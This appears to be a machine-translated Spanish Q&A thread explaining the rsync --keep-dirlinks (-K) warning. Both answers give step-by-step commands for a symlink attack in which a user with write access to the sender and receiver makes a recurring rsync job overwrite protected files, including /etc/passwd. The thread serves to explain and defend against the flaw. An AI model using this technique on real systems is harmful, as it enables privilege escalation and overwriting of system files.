'exploit basado en Ks'

Navega tus respuestas
6

En la descripción de la bandera -K ( --keep-dirlinks ), la página de manual rsync da esta advertencia (mi énfasis):

  

Una nota de precaución: si usa --keep-dirlinks, ¡debe confiar en todos los enlaces simbólicos en la copia! Si es posible que un usuario que no sea de confianza cree su propio enlace simbólico a cualquier directorio, el usuario podría (en una copia posterior) reemplazar el enlace simbólico con un directorio real y afectar el contenido de cualquier directorio al que haga referencia el enlace simbólico. b> Para copias de respaldo, es mejor utilizar algo como un montaje de enlace en lugar de un enlace simbólico para modificar su jerarquía de recepción.

He leído la oración resaltada varias veces y todavía no puedo imaginar la vulnerabilidad a la que se refiere.

¿Podría alguien dar un ejemplo completo de la hazaña? (Incluya una explicación de cómo un "montaje de enlace" evita el problema.)

FWIW, este es mi entendimiento de lo que hace la opción -K .

Por ejemplo, si el estado inicial es este: 

sender:/path/to/sourcedir
└── foo/
    └── file

receiver:/path/to/targetdir
├── bar/
│   └── stuff
└── foo@ -> bar/

Luego, después de rsync sender:/path/to/sourcedir/ receiver:/path/to/targetdir , el receptor se verá así: 

receiver:/path/to/targetdir
├── bar/
│   └── stuff
└── foo/
    └── file

(Tenga en cuenta que foo ya no es un enlace simbólico).

Después de rsync -K sender:/path/to/sourcedir/ receiver:/path/to/targetdir , por el contrario, se verá así: 

receiver:/path/to/targetdir
├── bar/
│   ├── file
│   └── stuff
└── foo@ -> bar/
    
pregunta kjo 15.03.2017 - 01:23
fuente

2 respuestas

4

Tienes razón en el uso de la opción -K . Pero la vulnerabilidad consiste en que diferentes usuarios realicen la creación del enlace y ejecuten rsync . Veamos primero algunos rsync -K en acción. Haga algunos directorios de prueba: 

[me] $ mkdir a b c b/from b/from/mydir c/to
[me] $ touch a/bar
[me] $ touch b/from/mydir/foo

Y ejecuta el plano rsync 

[me] $ rsync -avK b/from/ c/to
sending incremental file list
./
mydir/
mydir/foo

sent 135 bytes  received 39 bytes  348.00 bytes/sec
total size is 0  speedup is 0.00
[me] $ find c/to/
c/to/
c/to/mydir
c/to/mydir/foo

Y limpiemos c antes de una nueva prueba: 

[me] $ rm -rf c/to
[me] $ mkdir c/to

Ahora, imagine que le doy a algunos otros usuarios los derechos para escribir en c/to y b/from . Para simplificar las cosas, digamos que el siguiente chgrp permitirá que un montón de personas escriban allí: 

[me] $ chgrp -R students c/to b/from

Y un estudiante inteligente realiza esto: 

[student] $ ln -s ../../a c/to/student_dir
[student] $ mkdir b/from/student_dir
[student] $ echo 1337 > b/from/student_dir/bar

A la mañana siguiente ejecuto rsync y: 

[me] $ rsync -avK b/from/ c/to/
sending incremental file list
./
student_dir/
student_dir/bar

¡Ouch! Mi archivo dentro de a que nunca le di permiso a nadie para modificar ha cambiado: 

[me] $ cat a/bar
1337

Y, como rsync se usa comúnmente para tareas repetitivas como las tareas cron, es muy probable que esto pase desapercibido.

En palabras simples, se puede argumentar que el exploit es: un usuario que tiene acceso a los lados remitente (desde) y receptor (a) de un trabajo recurrente rsync adquiere los privilegios del usuario que ejecuta el comando trabajo rsync.

¡No ejecute rsync -K como root!

    
respondido por el grochmal 15.03.2017 - 02:31
fuente
4

Aquí hay un posible ataque. Comience con esto en el remitente: 

sender:/path/to/sourcedir
└── foo@ -> /etc/

Ejecuta el rsync una vez y obtén esto: 

receiver:/path/to/targetdir
└── foo@ -> /etc/

Ahora cambia el remitente para tener esto: 

sender:/path/to/sourcedir
└── foo/
    └── passwd

Ahora, cuando se ejecute de nuevo rsync, / etc / passwd se sobrescribirá en el receptor.

Los montajes de enlace previenen este ataque porque rsync siempre los escribirá pero nunca los creará.

    
respondido por el Joseph Sible 15.03.2017 - 02:31
fuente

Lea otras preguntas en las etiquetas

¿Almacenar un archivo zip encriptado en un servicio en la nube inseguro es una forma admisible de asegurar la privacidad? ¿Quién puede leer mi correo electrónico?